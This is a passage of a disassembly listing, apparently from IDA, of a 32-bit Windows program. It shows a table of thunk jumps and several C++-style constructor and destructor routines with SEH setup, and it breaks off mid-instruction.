offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_404640+2CEp ; sub_404C70+472p ... jmp sub_40A670 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_433120 ; --------------------------------------------------------------------------- jmp sub_41B3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_422370+Ap jmp sub_422650 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_404C70+7EAp jmp sub_41B950 sub_402022 endp ; --------------------------------------------------------------------------- loc_402027: ; DATA XREF: ___:off_43E014o jmp loc_40ADE0 ; --------------------------------------------------------------------------- loc_40202C: ; DATA XREF: ___:off_43E088o jmp loc_42BE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: ___:0040ADE3p ; ___:0040FEDEp ... jmp sub_40AE10 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_424840+109p ; sub_424840+178p ... jmp sub_424720 sub_402036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40203B proc near ; CODE XREF: sub_4098E0+7p jmp sub_4099D0 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_416660+Ap jmp sub_416870 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402045 proc near jmp sub_40CB10 sub_402045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204A proc near ; CODE XREF: ___:0042EEEBp ; sub_42FDD0+EAp jmp sub_433030 sub_40204A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: sub_421960+5p ; sub_421A50+6p ... jmp sub_421EF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp ; sub_40FF60+95Ep ... jmp sub_411990 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_40C040+7p jmp sub_40C230 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40205E proc near ; CODE XREF: sub_418940+34p ; sub_418E90+67p jmp sub_418CA0 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_409B10 ; --------------------------------------------------------------------------- loc_402068: ; DATA XREF: ___:off_43E13Co jmp loc_427FC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_417020+2Bp ; sub_417020+3Bp ... jmp sub_403EE0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_4097D0+14p jmp sub_409830 sub_402072 endp ; --------------------------------------------------------------------------- jmp loc_431FD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp jmp sub_4279F0 sub_40207C endp ; --------------------------------------------------------------------------- jmp sub_426650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_418330+4Dp jmp sub_418A70 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_415160+5p ; sub_415310+6p ... jmp sub_415CE0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_426650+3p jmp sub_426680 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_41B0F0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40209F proc near ; CODE XREF: ___:00416D4Fp jmp sub_407030 sub_40209F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_413670+83p ; sub_4144D0+91p ... jmp sub_415310 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; DATA XREF: ___:0043E054o jmp sub_41EF30 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p jmp sub_40AD00 sub_4020AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp ; sub_432980+36p jmp sub_4329F0 sub_4020B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p ; sub_422240+11p jmp sub_4223E0 sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: sub_4220E0+4p jmp sub_4224F0 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp jmp sub_42A440 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; CODE XREF: ___:0041A212p jmp sub_41A2B0 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_416760+Ap jmp sub_4168C0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co jmp sub_42B2D0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020D6 proc near ; CODE XREF: sub_415C70+4p jmp sub_416490 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: ___:0042F4B6p ; ___:0042F518p ... jmp sub_4337E0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_418D20+8p jmp sub_418FC0 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020E5 proc near ; CODE XREF: sub_418890+34p ; sub_418D80+67p jmp sub_418BA0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p jmp sub_41A860 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; CODE XREF: sub_415AA0+35p jmp sub_416570 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp ; sub_4066E0+43p ... jmp sub_409BC0 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p ; sub_40BE60+6p ... jmp sub_40C060 sub_4020F9 endp ; --------------------------------------------------------------------------- jmp loc_42F5B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: ___:00416E7Ap jmp sub_4190B0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: ___:00429A33p jmp sub_429A60 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp ; sub_40FF60+1392p ... jmp sub_4147D0 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_4139B0+38p ; sub_413DA0+5Fp jmp sub_413510 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40A130+14p ; sub_40A160+7p ... jmp sub_40A180 sub_402117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40211C proc near ; CODE XREF: sub_42A150+157p jmp sub_429D00 sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap ; sub_40AC30+1Ap jmp sub_40ACA0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: sub_415600+3p ; ___:00415E1Fp ... jmp sub_416050 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; DATA XREF: ___:0043E02Co jmp sub_40FF60 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_4147D0+EDp jmp sub_415830 sub_402130 endp ; --------------------------------------------------------------------------- jmp loc_41B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_40BE20+3p jmp sub_40C0A0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40BEC0+11p ; ___:0040BEE7p ... jmp sub_40C1E0 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; CODE XREF: sub_41D830+652p jmp sub_41C070 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40214E proc near ; CODE XREF: sub_418BC0+32p jmp sub_418E90 sub_40214E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402153 proc near ; CODE XREF: sub_40EC30+ACp ; ___:0040F35Dp jmp sub_40ED70 sub_402153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_4137E0+93p jmp sub_433A20 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp ; sub_415AA0+2Cp jmp sub_415A00 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: ___:0042541Dp jmp sub_4253E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402167 proc near ; CODE XREF: sub_420530+17Dp jmp sub_4219D0 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40216C proc near ; CODE XREF: ___:0042C261p jmp sub_42A090 sub_40216C endp ; --------------------------------------------------------------------------- loc_402171: ; DATA XREF: ___:off_43E010o jmp loc_409B10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap ; sub_40A9F0+103p jmp sub_40AC30 sub_402176 endp ; --------------------------------------------------------------------------- jmp loc_426620 ; --------------------------------------------------------------------------- jmp loc_41AC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402185 proc near ; CODE XREF: sub_407220+16p ; sub_407260+Bp ... jmp sub_4074C0 sub_402185 endp ; --------------------------------------------------------------------------- jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218F proc near ; CODE XREF: sub_40B000+1Bp jmp sub_432AD0 sub_40218F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: ___:00415A5Ap jmp sub_4164E0 sub_402194 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp ; sub_430690+1Bp ... jmp sub_430700 sub_402199 endp ; --------------------------------------------------------------------------- jmp loc_42EA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A3 proc near ; CODE XREF: ___:004086B7p ; ___:004086DCp ... jmp sub_4198C0 sub_4021A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A8 proc near ; DATA XREF: ___:0043E130o ; ___:0043E140o ... jmp sub_42C710 sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021AD proc near ; CODE XREF: sub_40B520+55p jmp sub_409FD0 sub_4021AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co jmp sub_428220 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p ; sub_422410+67p jmp sub_422130 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp ; sub_4070F0+68p ... jmp sub_407260 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_4333F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p ; sub_41C610+332p ... jmp sub_41D670 sub_4021C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021CB proc near ; CODE XREF: sub_40BC70+11p ; sub_40BEC0+1Fp jmp sub_40BFF0 sub_4021CB endp ; --------------------------------------------------------------------------- jmp loc_42F5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap ; sub_4246D0+1Bp ... jmp sub_424420 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: ___:004169BBp jmp sub_418940 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DF proc near jmp sub_42BB70 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_42EC80 ; --------------------------------------------------------------------------- jmp loc_42EE10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021EE proc near ; CODE XREF: sub_433160+1Bp jmp sub_4331D0 sub_4021EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F3 proc near ; CODE XREF: sub_42E400+101p jmp sub_42DD50 sub_4021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co jmp sub_4071C0 sub_4021F8 endp ; --------------------------------------------------------------------------- jmp loc_42E2D0 ; --------------------------------------------------------------------------- jmp locret_418840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402207 proc near ; CODE XREF: sub_4036D0+25p ; sub_4036D0+35p ... jmp sub_403C90 sub_402207 endp ; --------------------------------------------------------------------------- jmp loc_433100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_418330+88p ; sub_418330+98p jmp sub_418A90 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: ___:00416ABBp ; ___:00439F0Aj ... jmp sub_417770 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; CODE XREF: sub_418AE0+5p jmp sub_418D50 sub_40221B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402220 proc near ; CODE XREF: sub_414640+3p jmp sub_414670 sub_402220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402225 proc near ; CODE XREF: ___:0042F2FBp ; ___:0042FC27p ... jmp sub_430AD0 sub_402225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; DATA XREF: ___:off_43E11Co jmp sub_427600 sub_40222A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222F proc near ; CODE XREF: sub_42F840+102p ; sub_431730+5Dp ... jmp sub_430810 sub_40222F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_413510+5Cp ; sub_413510+C0p ... jmp sub_415460 sub_402234 endp ; --------------------------------------------------------------------------- jmp loc_431410 ; --------------------------------------------------------------------------- jmp loc_42F170 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_41D830+203p jmp sub_42D0D0 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: sub_42E400+148p ; sub_42E400+173p jmp sub_42DC70 sub_402248 endp ; --------------------------------------------------------------------------- jmp loc_42E1A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_4133D0+34p ; sub_4147D0+40p jmp sub_4158F0 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p ; sub_40CF60+ADp jmp sub_40CF60 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_42E220 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402261 proc near ; CODE XREF: sub_422A40+938p jmp loc_423FA0 sub_402261 endp ; --------------------------------------------------------------------------- jmp loc_419A90 ; --------------------------------------------------------------------------- loc_40226B: ; CODE XREF: ___:00438CE6j jmp loc_40CEE0 ; --------------------------------------------------------------------------- db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4034E0 proc near ; CODE XREF: sub_4019B5j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_4034E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403539 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40352A: ; CODE XREF: sub_4034E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40352A loc_403539: ; CODE XREF: sub_4034E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_401424 push offset asc_4435EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401861 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A87 push offset byte_446F60 lea ecx, [esp+47Ch+var_450] call sub_401861 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403591: ; CODE XREF: sub_4034E0+105j mov ebp, [edi] test ebp, ebp jz short loc_4035E7 lea ecx, [esp+478h+var_438] call sub_401681 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016AE mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017E4 push eax lea ecx, [esp+47Ch+var_450] call sub_401A9B lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403591 loc_4035E7: ; CODE XREF: sub_4034E0+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014C9 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_4034E0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036B0 proc near ; CODE XREF: sub_401681j mov eax, [ecx+9] retn sub_4036B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4036D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_402207 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_402207 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_402207 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_402207 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_402207 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_402207 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_402207 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_402207 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_402207 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_402207 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_402207 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_402207 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_402207 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_402207 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_402207 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_402207 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_402207 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_402207 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_402207 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_402207 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_402207 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_402207 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_402207 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_402207 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_402207 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_402207 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_402207 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_402207 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_402207 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_402207 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_402207 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_402207 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_402207 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_402207 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401749 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401749 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401749 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401749 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401749 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401749 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401749 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401749 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401749 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401749 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401749 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401749 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401749 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401749 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401749 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401749 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401749 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4036D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C00 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C70 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43E004 retn sub_403C70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C90 proc near ; CODE XREF: sub_402207j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D10 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D90 proc near ; CODE XREF: sub_401749j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E00 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_402207 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+124h] mov byte ptr 